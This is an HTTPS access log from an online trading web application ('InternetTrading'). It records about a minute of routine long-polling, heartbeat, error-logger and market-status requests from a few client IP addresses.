[09/Jan/2026:13:33:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:33:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:33:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:33:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:33:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937066184 HTTP/1.1" -
[09/Jan/2026:13:33:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937050444 HTTP/1.1" -
[09/Jan/2026:13:33:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937057222 HTTP/1.1" -
[09/Jan/2026:13:33:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937052872 HTTP/1.1" -
[09/Jan/2026:13:33:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937055492 HTTP/1.1" -
[09/Jan/2026:13:33:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937062314 HTTP/1.1" -
[09/Jan/2026:13:33:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937072187 HTTP/1.1" -
[09/Jan/2026:13:33:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:33:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:33:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:33:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:33:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937057896 HTTP/1.1" -
[09/Jan/2026:13:33:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937060554 HTTP/1.1" -
[09/Jan/2026:13:33:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937067392 HTTP/1.1" -
[09/Jan/2026:13:33:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937078192 HTTP/1.1" -
[09/Jan/2026:13:33:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937062923 HTTP/1.1" -
[09/Jan/2026:13:33:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937065697 HTTP/1.1" -
[09/Jan/2026:13:33:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937072489 HTTP/1.1" -
[09/Jan/2026:13:33:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:33:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:33:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:33:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:33:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937084195 HTTP/1.1" -
[09/Jan/2026:13:33:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937068001 HTTP/1.1" -
[09/Jan/2026:13:33:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:33:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:33:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937070838 HTTP/1.1" -
[09/Jan/2026:13:33:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937077601 HTTP/1.1" -
[09/Jan/2026:13:33:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:33:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:33:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937090191 HTTP/1.1" -
[09/Jan/2026:13:33:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937073080 HTTP/1.1" -
[09/Jan/2026:13:33:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937075974 HTTP/1.1" -
[09/Jan/2026:13:33:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937082656 HTTP/1.1" -
[09/Jan/2026:13:33:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937078166 HTTP/1.1" -
[09/Jan/2026:13:33:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:33:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:33:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:33:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:33:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937096198 HTTP/1.1" -
[09/Jan/2026:13:33:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937081124 HTTP/1.1" -
[09/Jan/2026:13:33:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937087722 HTTP/1.1" -
[09/Jan/2026:13:33:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937083283 HTTP/1.1" -
[09/Jan/2026:13:33:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:13:33:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937086178 HTTP/1.1" -
[09/Jan/2026:13:33:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937102191 HTTP/1.1" -
[09/Jan/2026:13:33:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937092818 HTTP/1.1" -
[09/Jan/2026:13:33:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937088352 HTTP/1.1" -
[09/Jan/2026:13:33:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937091304 HTTP/1.1" -
[09/Jan/2026:13:33:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937097890 HTTP/1.1" -
[09/Jan/2026:13:33:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937108192 HTTP/1.1" -
[09/Jan/2026:13:33:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937093416 HTTP/1.1" -
[09/Jan/2026:13:33:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:33:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:33:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:33:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:33:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937102992 HTTP/1.1" -
[09/Jan/2026:13:33:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937096426 HTTP/1.1" -
[09/Jan/2026:13:33:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937114194 HTTP/1.1" -
[09/Jan/2026:13:33:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937098516 HTTP/1.1" -
[09/Jan/2026:13:33:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:33:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:33:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:33:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:33:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937108020 HTTP/1.1" -
[09/Jan/2026:13:33:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937101587 HTTP/1.1" -
[09/Jan/2026:13:33:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937120196 HTTP/1.1" -
[09/Jan/2026:13:33:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937103598 HTTP/1.1" -
[09/Jan/2026:13:33:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937113116 HTTP/1.1" -
[09/Jan/2026:13:33:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937106700 HTTP/1.1" -
[09/Jan/2026:13:34:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:34:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:34:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937108634 HTTP/1.1" -
[09/Jan/2026:13:34:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:34:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:34:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937126188 HTTP/1.1" -
[09/Jan/2026:13:34:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937118189 HTTP/1.1" -
[09/Jan/2026:13:34:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937111832 HTTP/1.1" -
[09/Jan/2026:13:34:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937113709 HTTP/1.1" -
[09/Jan/2026:13:34:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937132190 HTTP/1.1" -
[09/Jan/2026:13:34:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937123307 HTTP/1.1" -
[09/Jan/2026:13:34:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937116921 HTTP/1.1" -
[09/Jan/2026:13:34:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937118768 HTTP/1.1" -
[09/Jan/2026:13:34:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937128382 HTTP/1.1" -
[09/Jan/2026:13:34:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937122074 HTTP/1.1" -
[09/Jan/2026:13:34:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937138192 HTTP/1.1" -
[09/Jan/2026:13:34:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937123832 HTTP/1.1" -
[09/Jan/2026:13:34:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
